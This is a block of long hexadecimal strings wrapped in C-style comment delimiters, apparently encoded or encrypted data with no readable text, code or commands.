2f1ca1f7bac58593dc7ba2fa949ba53200e96850916ccabdf20030f8e4328f87aa1dcfc3f9e0c8f6ee29812dad913a256dcd210b41e647609c6e28c2bb1a9d8809c2f54ed1f6c7d055ace8c546adb3540732b2dfdb2c7fc7fbb54139519b7dc16cdcad3cf029802e5a3f8fc70a9c4cf99349762065d86d72c80dca8116b016e386d7e7990639c6c7dd4d3c9ab0928cbf2baf28425fcdb42cf8719cfe44b2d0e5b1fdadc14e42070dcfaa071e8b3b98f6287c01262b90a6eee25a20f40007f4b4f0aa0cd93d594a69890e14e249ea1457cdb2cd30a790c2035ff218ab8b6ebe345a319f25a3218ad3d64ef2ea2f47be8826d4568d7a8b1c9ddb686e8601fd264db6d9049a00ff4ecc97014c2e0d84253572eb1e5e7e03022ef6a69938ce506d8ad361ddd8dcc8c56717ee076b1043b97ff41b6a132427b8164bb15a17c2f9e2b9b0ed68e9be1e9aa819d0f9deedb7b9116dcfe76b42071e35b663d040187b1d57e9dc411b2bf2c6ecf985841df9301d1e0a60dcf012247649f60a6a0d57b230c230b28373768e28069cc614fa67c3b2ca9252a49c083d44f154cf39ca8070323d0263c974415055d90f7486680cbb169353fe38fdd74c177a5a6eaaae450c04442814fb3a1d7b11dddcc04d6df362922fc0c6cfd4e029c2ad943786ea51daaaf80039cc90de456e2840173c95d4cb207a9998c446d0d5976c359bd0d692803e8a86d36d41dab3dd41d73fd888400a64400cd6d466119e469056f536d8782ff1e2b158cfeda6687e7d48caf2149e10464caa90a4098d4eead8c8b3e89e1d97f00ef582829d00c40b963fcb10efd6510f709b89d7fbb837aa6f12741516b63671dadd69bba29e7ea5dcf3b1b1931ca4e24cb50d44b7d2b73c14975abd280474dfc48de6b88f4f927719ef0622575e197b3687cc86ad88740d88a9778dfb046aaa15c574d81ee30ae22e8dcd5571fa873f0aa1e2f25a4d9bd2c3994559ca4fb4c03d840a64513d9533d021772b79f6e3324c01f377c351db946c8b49acf23ec1981e277289c2ab5cc34865f6db5882d2df80e3bab9cc2a19e3463ffc2133d5032325407bfee0e225ae483b27a230876ce6063ba4c50173eb8079bb6eb37df98a49a285a14a85377efc6066e5a58c15be14eb427a08df02b42f83fe07976515b8133d0607cddf3b36dc0cc11905aa4d791d27c57a6905d4513f3b24f0f587fb4d9a5bab26bb0d03ebfb94eceeab1ad522d3a8ee8f1594d5b4d112864cc2e885d*/
/*ffd8eda74c94e0da523efcb75e5cffe90124e8028687b59ac5010a28568ec85535cefc9dabb0bf4d498edb3f6bc2e0f1c2204c3e2771c8efe7840fe3e94f5c7ae50c749b1844873df8444e926d34394b0b13828321c031aa0c7f9b399768038fe78c75158903f6e89f342577b81b2a8051647cca9c35830cf0d121679816d29fd937a37dc63d48494ab03cc5ddb150b40bd665dd66592ed3b4749d8601f88684a21f4f4e97e03c4a78f27c79b8a3ec1c65d32dd65d7a441dfcaf7cd90e0ae49b886dc6c1b92bc54f5ae536aae1b9e8af2cfe7796679bfbdebfa29b8debe2ad7bb956f4d191d2be7993a31f6f473c0e8fef7c671dbf17e154270a1b2462f2120e5da325c6329cdb861c3c35f54ac06f315c2f0e53abfc1ce0b3ca333e694aab729a96e1d96e1805e4578e21c7f9763f4adbbded559fea07862e85e86fdef55f0d2b368fd1ffdfb2e37b0e16f65314a03d175159eb5f0a7221052a80b5fcc3c3e1c35306e20d63effb9b382e7a3614f8cb7bae44e3953f62adef3154ab7f888f3b56ee6ecc68f03910884bf03f4e06126522d06b49c74a7b9a94950f7be64c98c48c775449c1284b6676b5a8fb7cad5dc3b46ea250622ffe960a1f75ff1c83ca49c461c5b6b254fc2950aad660c8879cb6de109b9bf6e36f71d0afcce972a80f139c029ee2e7b75587d9dd7a60c3212b5a884111f9bc109efcd4286c9969c8eaee480eeccbebb152ea9109492d96cf840ff7ca5b31a3f8db73953d6adf13d76b566d14b768e4b881c0b75da6151d434b0e4aef2327b37b01b37d7bdbb03ee7c952990713c6cdd8063a6a36caeb263b65deeddf553c41febe7a24ec9021a62d3e595ff8a64392e855eaaf1f7b9ac7507caa72211518382ebcac68ce230657606abb31bf9d9293dd5504bf1d74a450c0fbd60401e31df176c3d187e8ce8efb9ea2e6b4ece744111de8196ffc063a4373300e43ab53a91db93f42e7309c4fcfba24557668b82884fc97cc08647420a296d91ea3567ba95be8a9bd89a82c9cb0c5627934a2939f1cc06c9c9bd1dea3c6047196f3927b5ee11990e239dbc161b8a515d0f430b2adef5fc4505750cfb7a08917827621af66645b0ad263ea358627979b5bedd88f40ed075ea74bf99d9fa80a2a0b914ea952146810ab69e30af3d07d63369c942026c26e91a206cb8a1b9d12a7bd1bab192de9945095ca0bda00233eb5891908d4cca01cf9a0d5bb4f4e866f953583286f08c661922c0f725bfc3fcd9406e03bdb97e0975277ecd2581f3672e8dc87a26f3ad77346b64aba58ba9cc55ee5b902aa04afd4756dd5ffaf5ee3eb7ee3efe5858ccd65c0e44bcddde44c9be4e16d7bb5955fc262df820c88ae74a8cd430aabf1150f0465745df6e3eafc280fa896c609ec2c092196ffb28bdf2a5677af1595b0f8904f03ec335814c6b3a11ddf934341e746354ae384a7264437c4161c4799dd32c3f798aca1d3d4a2078e0636d1147052c18e496bbf217adbbe2d401ae3bc3fee03df9aaa181459e3921181d8c74e53359ab7576cea890c00e9dfce601fd5809497ba27b820abe5f68e96d42c905da4e81d71ccf94c93cd1b820fa79619af4bc475822a61316c2dc5d7a0d5a60f143fa06e4e19ffbf3d00acb39fe73ae5a30f8bc89bdea0a830ba6a4f7c4c7a14fb747f1c2a81b33f33d7079882fc2a7ee84cdbd26dfb19c32b357f06f82640a3a7fb96c269b7d71bf299d5c6768011a4d1f81ce4c3048724cfc303bd0fd8af6617d7d0761d1dbef2b6ddd0ac64d48d8f9e0c67ace4853171c5a5f4bf71dc4f6e1968de04ea116511a3a7d371f3397b515924bdc2d244863703ea5cb24ef0ede541dc3c3cb87141f57977aca7835ec635c2e0314c9b1ba1846e716c88d6baa9f31238bd1b88243257b96c086d908d3231bca92273e06251db2f260597663450b17054ca15ba73aee09ddef0849679b89ad4544411dc036f02a2e933f50ac5ad6363a0bcd17435dc1a84fef58b213105f599ed314ed64940424e1baf4e4bca63bebf2661db4522778e6c87056a7902585ed68eb470ffda44d9fc70c80b0d7e26e4b8b67af50a754ad2e2f760ac67e8f781ac80c277bd85b32c3745417bcfcd224477a528d19b04f033867afc7e9a80c7b7abf039842041ad3d1eafe4e321b6abab81e770870384f04ce4098542ef61d0ebd36bf27f8866cab248e9fcf5c41b8e868c37db9f604c11a5993b9cc7138947bdba0067788c0f13b34fac685c5533ceec477bb852c60d95059cd122352299a531f356cb40337e50e6ad33c4eb2284a5f7687a83b99f8dd73348af76ea614674f7af600ba1561c777ac75b3b4e7fe2771173eec1fcb5b0da3cbc931e05455865a1582fc82cef65f4470f89be6210ec32c0eaaf815057daa9fe8c2c3021b0796f77ac9d38feb9fe68fcc4fece469d2918d02f6d78415993f99c4ee0ef3fb1164b1db6515d27397d0465824d5c8d38bbbf751c2ef92b07501ed3df65af2d22a2b9e154aa6206fe38185f8ee4b78b39c50c6664a901ad47c3e98d5e84d315e70b0eece522d33a60c95a75aeec9e326bde79200feaf9d08c61ef07aac7360e323f9c3734454c64e9f1789385e00a06e73336dc49e1c583b47801c67a804309ddd03757e348938a72add832bcd081d508f6a7aec0bd396e99667fbd4d1a252c11bf0acdca27fecafd1c173552f490cba003e6d7c6838ef27b11241ff456ee812c7b5074905f273e6df83069f2cdaeade3c3399fa523b822056441b24b1639f164feb2fb75ebf1492a90867c8247728f25d1aa2cbd22cc7168b34573a858e159a4d7da*/
/*2eabeb51d105afd38207ef3cadd352e983242e82b63010f0f173cdf657760a543e0354e105059d0ae48244968bab6e7d51c43418458fdbcf9bb8e21774afdb7186a156624cf9c6fa417e3068e6f03ea857976a43d8a4270c71d7f3a58c4c51669d19869e666cf417f2b1cb695a7d4e3f825cc909af72e327dc1d07ae1404f491073f52c4433048b973bca243826af451c57362b39e1df4555cd60bc51b7dd4d24ca861dfa7f1de37ac110750a0ff60a9b221d8f300d24877346729a9f528c5c43502f40ea0d084f81da07e4aff42a1943487a60e1a6b043814e23015f5f57110e1c65d4658aeb00ad2d4c2686ceda7b88370fe686ea5b1f13869bc8af2bd725f56570b6d64feb5403bca69fa08f041d6cff0476818ef533417f237086d2d722a16fe4117985e591ecff75b2f238851cfe635d2c899255ac70860a83d7c56cf45ef11d7c251419abda154f13a3c34d0f264002aa314d8443d76947da82e6877c0a059f7b4e4bf39847704bcaeec7b711638c8ed96da7224ef425a8b88d2081440acd150fbd39b5908e852575a7fdf6f6c22d29f9d0d5f0ab7dfd6e1a56e7cd303b3460c8119265d09e9d1dd70b4429ce914c5ce4996883ba991b7aabec4032fc0d940f33ce30ac6d1e71bfb7c0783afd6359779793a7cb34f0df9e3321fa6d96b78816b64b9c32aaa9a7d258ebe888a0a14273a960165a7703395d36d25d731d7500656f87b55a11f86b168ed4a9f0a6b20109040d9c3c9bebbd44659a808bb325d90a4bbf0c43bc95651e02490d8d7d2b0c1cf7b271484960903fb571314915554bb70956f52ee1cdbad56fd7d6777c157073db1aec705de725ca6b28d3151cd1e661ac0ff989682f019d7ba64b1e9f01327138bc652ee1b479e611568be83bd25622ad167ae398373a2d8d47076d713e51c1bfc27d4d61fb96f66a69905142474464946bc6ee7230d1276d5fe8fe7d034444755f0954d97151ab7cce890c7c0bc1800b74b4d2fa86c4f4cba84ece04db51c345aaa4a307fb32ffb3c5f125a800c88f413383f9a29594cb494cd191124febde0f78185c37c24ff72ad9c8063d45f92babb063c0526ce24db43f6d7f5b56f3f32db165b596d1372e4e8bc3b3cf9084bc6a25fb442849b6d2b164e4167b2d4cfaca1747f866d4f60c444bbc14f0a17e8194587bbdd77eb3dc4d8489bf3f355ad80970e70a1187a77b850d3d7e4e6bb1d34100df42962b43fff12e506ba32539640be0dbd05d9e567085f7015de5fc93b49a7f9f6808943f748cc998e714eef47af8103c678dfe47a9ad902dd141b5cd070b26920ab259d40b6b4cbd7bba7720dcf4e4dafd704d9219cac86da5c274ecae4e8e9dfe42ce6577a2375b609bd1afe80ccf084b8c5d73b2c718cb62f13d30d6f26d265449dabf1254d2d53b38407d4dcf7982d9a78003e3427c0b2596bcb369b47b00ec2aa57b2c9a8d22396e9858a1b2a5be42004b922491ee52be1fc6fbaad1d36d334bcf25d57c38378a1a14ff3e906a191571687831e0469bfc5cd62df26c557a9550a1d0ab1ff645f67de2c7484e8f2fe6aa7a7b45b52457895b3787154ead072ad01f1576dc0da05735aa0b88373cae6035c6b64db84c8ef730263f4f521c768937f645fb151237176861cb29f5ea2bc5da4173134808f7ce8426b10a96f5609ec9f79ae9123e023d96df9515a9502428cc39ca8572128ca9bfd5b880da6440e40af3c795c12b955fe7dd1c12a3155d03a0283884e785717d34fffb2d50dd20d2ee37196b7d1aaa78cd15318f2e6b1c94e2c951fcb6b58c7c2ad1ef311de47ae32be31ee6951dd9625d638bb5589feb9b0ee64af32db3f3477cab763fa8ad0511bf3cb2113a0c8ee9772be77191e482d38f1d27cca5e587a64f9eec39a3bf0f5015061be79dd35a71479e035e5d917ba300cab31960ab73093e421132ba38c4da05216ed2f206c56c5db70d1099f2de7770a66c8f79b95e7a72fb383742e45df4e3631b6f7e42325f155de659ad0ac63bf8f5ac8a1335068543c21aa47c5b945a7ff53bf3427d68ab0a0da617e330ecf27a305ce85c9e5de929894369fde691e6b392c82e2ed1c89bd6505b02295a972cdd2ac58005b0ed2281df95e593d4a16cc4ee2d91db4fb8e08c1976f4cf8bfbdff20e2962f3ee139a0a49ae850fcd1946959827663cb1843cef2dc64cd2908ad551ef27d078cf455467361b621648ec6624c72a38ec0968aa2b52f98820b8bdb3a665d55823f531ee3f3eb3f801458a88ad2a618486eac35d94dd99a3b9d95b454d686cd26d336fd12173e855e5c8af71a16838f977847c0e2c9546b44058b5abe2529dbe2a57a198552b48fce02a5d566303225593254da2f9765eb9d1433a79b47cc6ece1dfc938a61769df81b4f2683dac63729c37239cfdbeb2b9cf06b75ae6e447c00c93eb0a0fd0525b07729f6d25e0b5b9410096b4cade25147ede5de970f89422c95633501d0d7a009165ab56b1e15efaa2e868dfe1a7475117e7e5bea8a882dd99757f160c37c9336eaf73d9c92c929e019db17c9b677a9fac0fa62af2b8b0cc88b851cd26232af54bdfb38c02e41d0e28a47293f359920c80da1dbf395472cab900b6f8736eaf48aba0dbfe02bb404157ee43f7ea25a9fd72e41bce33ea494aa482eb1dcd39970c5caa5a7fb9bf2fc710074bb5c5c7778cbc14219aeff3c886331b23680dcbfc42796798bdf1834424d38945633bfa2862446ccb344ef7bf6f95516679669602d40ddfb893e13c740391f1ef81e00513b3e57c90257924df8b6cc423aea54be4dd73bed74a06b7b879246e80ff2f6*/
/*d793ab39f0a22ab6fdedf3ec90ca6b3d9cd918bc5f9ddd3588bc8cdafb49e0644414e9b2547a63cdf478d2352f4130131f7ca2a890a8016227fb7b20f04f17167830125dc77c28eed496a3e7162ba19f22fe78d77cf74e84042df76c288d576f09e6737552a71cb27f1621c0c4a310b673332609fdaeb12b0bb85a3f69b4e1074108bad8e07de2f8ebbb523acfa8c589f9ef3bde0d6a9f463c2ded622f245ad37ea335611764b3d107526d57c91c777b0dd7743094e423c2df37f10dfd0151f5cd61e8113e66af51e7096c782d6800e2e3e721a0ed9f0105b96f0efae464c860ba33b14cab23287e5f5f0477854adf034294e31de41c6ed839ee26fff7b89a254f2bc30a219f6f1c4b0e0a5d76beb5ff566db2db3d60b056651cf54c685365b646fb8058822debc13a9b20790d917edd905af644ca47d87c444d708722ec0ecd5a55d652a70eb0d8829155c2ab6c64a36f3dc776d168219421d7552e4ff66200ba194d8a44ebb9de9b3e15e1e69f1282638a103adc82bc165bc85d7781e3d9657d8937d6fc51219634aaae3ac4c36fd91168c2a4abaddb3a04719cf6a86f17c90e96bb072d288f17c221300d9658bd75dac79285e923cfb255342550daf680c3217a3e9930a22df48e01e5f23f30bc22e22bab5a7f2cae1313cb1e0aae8fdba17d65e92410f2a800fc2707a07f3f6e60d8d7807a8d51b812189b2578cc4bc33afe9b1c4005530fd0ce4a4be2a828d00b492cf38df2a0b8560d840a89673624a2ffb4edb7868b1a624e5f2fcf3dace2bc41b04958753c239e6609786dd0e9ddddda7bc09a107567c14a0ff4765b1c8df22ecdc1ddd78f2aba81ce95cb890d3ed02e9d1738c5fb7078551ce1c946277b490c66da3605ec9806f1286142d118ca3afe44c14af7ada0799b7f1243df0dd06928b188a28d8497716c6fb1902d652dfb4dd336b3e0830079b7d4f74b8a53e681d4e995432576f9e9f42fbba3fb98f48b02bb20033f6fa3cace6660e73aeec87ed9cc1c1d10ac68837158cccbf161b94d5f84436d76499b45061039f7966da8c93f5c410ad08ccb04178ceea29b0507ffa39c3b5179ad4ce42f1bb9570c862130f1fbd8ffe3d9ac6fe16386cbd1ef66d930e861df7b521d8aa48c9dd0a8efe1ec65a6bfd8474596641c33f816c25fe35421443a4aa8738f8b37d1ed82d65f8d44052af306ae153b363347d120feeefd8f6a6bc8799463ae57ca7db454762b7ed233b93e848a2cb73e37102811920df73954b6a9060b273cf290830aa8f2dbf2286c0c7b831a4eddef52679c1c053704ba3fe88865a90cd5ab820b963d529a04a9109a1aa43c8c307103d7afffaab21b0392c0d5618c2f782a23743c43fd816710141f2b8d317781704d670710a9ee8232a08d8588d769efb1b37696dd523936279bcb61b84e8e45c7fb1fd061da84aaac2069bebafcd67577a1f6f2882893cf1ff9511067fd2807b4e53d53b0b38bd012fe68d969d79109839b366994e5241c7289b5ba451f04cd27f52bd1f625bb13c97ddfcfdb6ec29e2caff0f01b9704c7c87a8f6e6c1342a6345bbbb0d63942c788ee36c91bdbcababace92a76fc74db966fcbf0bbf2691fb91fc9c12ae06c5c73942100623bd3fdabf2289e5b479eff19f76c6bf24c95bcf605dfc1006a2001ebf8cdd5609c8138dd1b578d92e77da94e3a26fafbc19f5b60c2409758294d889f89bcaf8dc601aa77c53e1dbac414db875622ab7592404fa083a29614cdd7104d8dd7d05a4aa14867e639417e37c837c69c9045c992049990a1516bc44cf590a971b87b138b3663f536e0ac2eff9ba5e5687a5b1fbd828ebaad957ede33a53662dd7aed035a92b5845a1a48ffb8cd844daaf29a54756f8fc1d207753da89d5f2f20dd074db75b5a06da8e4a1ce28fde38f0da25564473084803536bb8dc4a2965806acfc159d111ea767d3c2b30ba0ea0d7b9fd2c87ee4aa9f49ff397854a712b8253e67d3a84bb62a3a956f3c2d6a20409c81247ad53150fe64fdc44ec3e7cfc6277ee97c54dddbc8bd5476c1e7429259de92fce9f606b1c0dabb5a767e623f8bdf96d9dac64942e3ac707ee3395ad8370473bcd3752ac24540edc9d7d39ccc7f598bd97959165cd768b6b32db0dc262a4cd6a0024891febc439a61b0ae774b95f6d549683cc03958e466c868e9a16e9f2de7dc3577841003c7a3fdda006efc60dd5383729790575564c4fed1484fa29de49d89387f97cf12cbf434fc20778ab285f09c48f63c3caa4787496067ecde396c942b44cd661cb36914cc45e27aa8a43ae9a8b5cd412850972d2da1d5b854c8aed90d98ba159bcaa8f75aae633e5dcf5e0444630135b6ebaf39817c8a59244858a95c7ed2ccbb119223d2298754dd9edb31e2a73abd627f40efb655a7414c436e797f493cb0b62840a012c5f42d8a1062d94871f82c5fab8f41a8dc9377de996eafadcb7762c1a6bbe38f7cf4e794e0b1adeb9fd8376e564bed936b905330fcb2313179aceaec12c543ee0de8d1675566d91c24878adca5d9cc32d9b9c5a8bed6a77b6180dcc052322fc982c9cac7581b329412e9adadc608d63aad16a2e3fe24143efb7f65d6aeb08e1f8a831a9f31f73c988f4a0a1d065eb719ba7f4637fd85493add79e5bb26114fb6228e7aea43082efe6feae13b0ccaf210b3f4ae5ddc8e4fe061b8a9130dc87c5763bca782df0e8808e90ad2fd5ba548ad78f3f384c44db10d15decf71094853ad716bd7f9df7d2e90646ef2bec1a90476a9d1758d78b2a3de474935fac2b932381edc20ae911cf177a0d09d894763f152789d8613a0*/
/*6438094b0e9abe003a31469991435d05d176c48d9883e51e23672c3a2b66f31ee930401006bf4eb3f3fe245e160aae54b58642e0c327f53131293a4044c012c1d0d19748fda53e149eccc617196877581fa5028af0ebc28c4923e6f5a664f76079b9c643680ef82a30ef70c1e93cf280d13af963ee036af94f4330f9bd93e8bd138cbd3ad62a9362159a895fb0e2cce45ea1d3d2889401abf7c8e2d99539dbf549731c7bd993ffc0862d35eb4b6abe6eda714d843e9d30fb8bda8415702deaf5cade3ac7e47ebbd94bb7bd2b2a7c792bdb0bd739fb524aedb2635a662ae25fcd4577cb50f237ac56cb5d553917e9c2b8f0d2764b6892ba260ae373555c0363f8fd89e71d716a0f85aff53ecd7c0d7cd4cf6c3caf95622e2d352af2969f08783eb5558574aa9680a359925bdb46042b3124c64df54644dff6f8d434faef60e0bf5ebdcf027e9ac39aef73ea5b1127f7980812e5920f9511fd47488837560be3a6ed36408c3714bb64d24dbb87b09fbb98794bf99f53afb7377f425fc42049f7641cd6133f7c152e1d7b033994bfe7f21148532538fc2704cd312af42678ee90414b615684571495231263434dca551169171abc694da048bc1f1eac9b84670f51f45d32d06279f75db7f9db29c94e4afb9bedb4f0f622b1d761cd02bbac90826afeff6417c43e58f80c1eb6b370adb44f90238835137cce2027e49ae62c393c3b4f965c6cd1d2a9dcf424be52be98be32f5ff18ebde68a10bbee2da657fa0bb71c4b21f0fcdcfba680bf5c4e8e0f48e98b09922eccc8e5dfc30c53f9b920389966d21ee2fcad001405a4c42470c3260b9420f28300e92126fc0113c4f6307d6496bacee3d5d4b274aa58a355b3b20b2cf75cc99ac21d0c0c7dac42e6a17709d6f099fc07afef7f3070dce81eedd07fa752b7afa4d0fc92b31cabbf42109aba8bef1966ed7982bc6b7e556d73db084050aa2df7d3ffddb93b72e1030e2234d32cb13bd35d6c3ee6e33b2b65eafce7f4def1d89ea7d8818ae7661c06b812d3946be158c5c846da22086e1fcec889884d209fcd2d45ee7b6ef545e57cf44fd7dd738529d331a6a401f85ce7c6f553b154e568e8878436dbb794f4f198affd4b3635c45c7f807658292a93a4a2ec07ed8272e5a365d7037e2cab40612f34bb87a35cca7481b30b14871f2a635960a723b6fb970b001554ac75a379ae4f872532df7393974394dac472fcdbc1cf8ff866c881d2012e447854c06ce926ddcb2ddc6f9e841085f622a415c6c642698bad6a75dc987dc95063348e928bebaf941405622b7336f52e0b50db5f8caeac00cbf3d0b59efb992abff49a3862f04ae0bfcb400b221ddf284d13fd6fe4bcdf265ce015e97a26852f374b3122435842885a4b4d1a17378a134f4fd932030c24f07e2443d8e845bd3138d4ef27535ddb212da69f86c7648547b833b37e8f524bb44da67bdce80dd19d62553fa0b49bb9fe61e2699725b6a5a7d2f4d5bb5bd71a0e15b5012583fa44ff00a0adbd29aab1bf7cb591bcc4de93523dc4b0aad8c78f9486b393a462d622d639d6d2f87a4455b7d3cae5da186ade8909d6cd56edba812a4f25bffa88284d0120cadb49ddcc363988a7b18251ee5941a41c8701853657049372d39adf47a3c070ba9e4ab567458be2e1879ee76199a4bcb6ddd0e808657c5b269d7a341eaef5c4f55ce8fe0770b8620226f181ce99895928f7569671894ff9ca369b36fe7bce9ed3d7537bffb699c57e593973fb4c6d77e2e3d744a2ac9f221a9b62e9ead33734b28fe3d6a63f0e98b82f9959026b96e5f7354f434ac8b7684dc3439f95d4bfc0002c29a1c5b5bda8833dee642820a0daf6cf6449ade1acd340667dab05f57875a4102133d85a0f29bbcd9c4a20a5c0cc78dc50c26a6f1357c6ffee36a40f3d04dd2d290139e395f665db015d14609f27aba068ea80c1f19c8ba1786797f218f7a31e3d853fcdc85c089f44da5e86eeba283e774a3fcfda2dc6dccbb9ddd7835217edfe9a561e6007caa78d7f3da94ce805a48bee26aa157b9cd360af715fbbf08f5538ffe1732ecbee69b317ccb68535c93409676d33c0aebffcdb45c606f26635374c440c74ee74881c9976b21e8f87b921ca363600bc951a6240a1ec9d56adb6671f3416271729ba05f3f3861399f5097bae40d11002ac6b6100f48258e9037e53ea64491f9693db2e5982f8a8f59b694165241034bfc46573ea0ff26acd8cd4d54cad11a858a7aa1c3cbfbaee8be93b0343442856bcd2454e453b9208b182ddec41863bde82e15403f467b7c81493d54289618efc4376ef617e0ec8b6017fd2bce36a7f4ec7e3ea4a2351b231510968d08ea0cf7426d21af597bbc1020318ead03ce145b844f3ee4f011b0200ae19b5087750dd57733f8ff8bbf7c0c593ea72f3859b48adccc1b459660bc50d40891d00c9a0d130fe348962e5afa8f754cef49dbf75928ccb0568e35d7a5b8b7558f5a081c46c7768a8c212a28312038139c5ab8279db587bc11f736de73fc7c00536cd8bafda8958e4a5ec3c8ae19761c3c46fdc34e323c28e7dbaa69598cb36d33f3a6982a5619112cf6d2c6c90c281ae893a951d31af1079f95682cf439bece66a2749577109f8e7bd3180af8633a51bae242dd67c84f1209f6cf6bba6aca0e1e197ac4ca9ec8483df5d0fbfb70d8674ea8e3fedd7dc7c3db6145b680dc2baefb7489a97674d9b69398e647406e4ea14627286d8d7e46898678f79acaefac78eaa5974f032f766c8caf60b8486efbec77d3cf28e8c089d675e09a4c1def0aabf9943be68dec76aca296d93a*/
/*42b18aa40ddb1e69700264b0deb83d0191f252650f5f24ec108fe6f838c64e6f62fb74ed7e0c50060bb47f982d806a5f4b3eab54f50e0c80de87609ff08e9fdc1def18ffa34c3899c58f531fbdc391bf7d8aaf04e9891d7210d3261c1eabe5fc1718b38a415998f97fde5f8116a559979751b3d6cec3a401a9cd000dd3950dd9c03b59c1dcd04bb08e0c8ef4f36bc96adea3b9ffaf85d25737c3e44351effb18191d6a0dd0c91fad8b0f13a9f24f0ff0205ecd90b4cbe3e1de148a29c62d37d6878c8b7efd6f40c1120d15687d27ad5e4d10a98addb5629f34f36d7d96f1d7b25a1a936079a0208e999a08430b3e9a83bbb9b3df3388ec925e2b413f90bdb05f91e386431bbce0a78abdd22600511c53e1f59fad25462fdd2c4f156e6ff2607e51cdf1a898c9017c37349024f64b7da0f7a80fbc2ad30699fe446718c8dfac6d6227211aafd7a33cebb63a5a45cc88c391d6a857b354e2480395a8d072af23f8826a0d3688ef60063b57ae9e0fe3b985e112216afba5112f278d852ba0eeaf260afb9699e57de0401adde53a83278c4ebde47a4c56667415f7140af0195276c251517aa90d2386bb4ce05b7201f53e66f6be6109890fdda012fed2ed79fe25f7c4e1df6fea77473f0bd6ced688171939812267add91c73ab5c91b78cde6164789f95edd5a1d975ebea56d618ff45078abafe1beed0ec4106452c347e545eaf22b7fb0593d5d312ac4263c04e22ef7126608a01d68df6fbbc178a0adf240b7194c034f41af46f8604d5970db420d98398d8a557ab5c3a765deffb38f8fde28cf036b0ec4a6f72ac7d05853a07ecb5136d26ec9840bea82b489aa7fce2bfd9b3eba8bf883d0817dd802db0e0f16b96dda2cc36a2511959a74903e9081586e1f108595757b75b215c115eaec7ddb239f5b86f3f76d08e6ed7ce6e774439a96f3da5879f971eadc34c5f92cb4cea699acdf1666e2f542276a4ceb21da277e6b0b4f143c58aaf53f6e6e69b51b5818925702281e83522071be11efa31e5695682cbfc59f298d5092b365dc0d22b0473b264e21661717359b92d9928b3ad94cad4a2272357fbf6b5357ccc24272238103c153d25cbf478739f34ba152faa7b8c79c81f2fe075a75b0796dd460cda3acee538190826d8a5c48cce63bdee05f95ba43d866dfa568031ef329141e81a0fa65e6162595fb159dc8eca3c465869102864f5cd976e285dfcbd7782648de8e1b9c76d9fcfa9dbd5ea7f7e44dfdc84296ffb4d4f9d1444d08aa8bb29c882345c204826c99ed4e89fbf82af1a8417175325614dea79011455dd31d8aca0dd7d380313d30b83b9c36b92f52f0dfec8e62ba0c6d335b4597c09b72937bcb4885e5794f5c0a77266c8845ee05a86beb028ba8b33ce1fc0e413481eeea6774d5f462a59d8effc0b88daba87f4a45885804906a6121580d86abe88e5e55a6c5c1a1dda5d6bde1324bc911b2ec9a9b33161190085a5fdf35c4b657bcee0124ddc630f7fcb80bba488c328f118895f72a2e0758beb32f60f88f5a94e5174a591839222ffa6759d9f082f21a2a0af4236e443880c696bfb4e73bc33cf284616043716f71c689638cfbba2f1347278055af7c9c8b5d5b09ee72d3192f84d82d671872e766781864b9cf6f2ead92d7984eab19b7fc65852a02fc0dc0ff7bc17622ec5b2c4d36f35194d0374d950c2f13de1b98b54ffe9290e6607606b060a6400645eeb383512938258f0a183cbc8928c5cceab2ba4716710890c62b9b1edcc0e2f62830a0aa3e2be82497922bdc5aa7369d97a8b825c0ab4a32e0e522b5323bfa86c91b0111ba6dff1349a24d5264c0251e575bc5959eee3ad0375abfb841dd26a7b212a0e1a5792e6f967551dc2ed8c018132071afd0a529cef6dfc0886f7ee711b98261fbee56f3788c747892bec6d6d8959f5711938e977c81717b60ee2566fcdbc594a2baed70a0c979f8b449fd93ccc2e25f36427395a1d7a05dad6189286c2ce703e13d2ea87a06c1910aadda809636aca1a3f762e8994f26dcf24d1d17c81f8f626b4eb4e3773f7edb6afc2fb723b4a6b325d8de9907853994fc18e050693393b1a198f6263096a4abb877ec99567a835ab043ef3e6ebe3183e75da3b62228f165c018628ef0d8b57439dad08e34f2b4ecdcf9afb50eeff95869baafc4c5533fa9d271ef8e50737ce3bd0fddd2dbf118d09005ebf214bf64e3f0ab23b332ae0e1a707aa74dcf163a938d53bd753aa701812976071f9a1b3c615211fec53de4e5050160186b6606119840cf125c824aa591588327f612c706e94041c3222324e88436eaec086e918f3c0fb393ba7a7aa837eea3ecef37d66cc1c322a83b1c612c2db20942ebc48ebcdd3412345eacdf414c72798795fdb90ae2a531b6da1ffc84faa35811a2b776e1bb43d24303780e6349c76a65a4249d60e56c87ebe4c134b0e5f3d31db4a570f17f242dbe4cb24134d252e2cb02c25ed216d21f6e31f8a34e3308d9efc1434ec42b14d00d5e8c3c47358ee3b180f2c00feb9a0cf04d24a8966609f59db00d581c7f3784d771fe3e524e453bd1d0370e2529c727c3907c3212cbc7aab63c7e6c0ad65ce872a5ee4ebac9306332771937aceffa1f7a661ecec066f14e8847c2f9d2fda2a2fbe3f15ee5eef304403c7e581a13e542b30495f767f6ae34e4f357f95e888217eacfcbce459094d74cc2bc4349e31a7f486190cc9c7cc59318cf3cf548c2d4d4bc447c9574b76730e34d8bc8a99a4b285b484253f3acb4564a48f7a07b7932a9cd2435ee3e5f51cf4713f1d1f41516cc62a9e4296d9bd02514814*/
/*3b4bfebd2cf37706bbbd246919ccd7c160894b0a0c39a65a2374bfe4005a00673dbe8990af8eed3c56d61cfba935d5866d4d5ef22bda5cc1a225cbe7bf11dc933792d839c655ad369f957fd75e9a6c64e24e3e200418ac95c9444ba0a21064429174257e2c90d329c5f99b73aae57d385cb6af2a8f710a98f4f5abdbab6ad970d6988c4891643eebdb5a778ca07ddb7bd805b879cf09b9f37b0e2456465577e01e01354c63409507a7cd98d9958c7127ec9dc5c00b69e28a7163abd73555fa9584237153c59a794d7451b0e2bb9eec48d8b41e6fad9e28037d9276079f895ad61e3155bfa037cd22a4e5c0e4673dc821c9da14f84bb620db860c593b1e62c84923abe355867130cd7d423593fca1dffbffff8385d98c12322f75bfbb772bb9b82c2e417388f28c470956baa5034f6fa70b2d7bf495f139c8f8eab3c54297360ac6a14f0bd5aac083d8aa585e4a972541cc0a5e2a84bf7174ad8b12b64d9d9f029b892412a67aaa183aebb06cfa2712f70ad7b87d200fbf1315783c64e8ef147714d60f726aaea82aa1c84ba32d07a93f7135eac96f12eb37be6aca02a77339a65eb5094438ac32232b99a459980f1faeeb34e1891b119a5749fee58fb7a63c12ec0397964ab9d308cc5cfe2ad369512afa7616a5c7bb4df229d1595eff45e13d70d8e650f64f1188f03ab77a30d20876626e1b888eeb36e1cf91892df8fb64cda0157e2279487bca9447323e4c556b4fe6ec5428f4df35c580d55384e2245951774ecb417280252520f8a362ab4e05e7fffe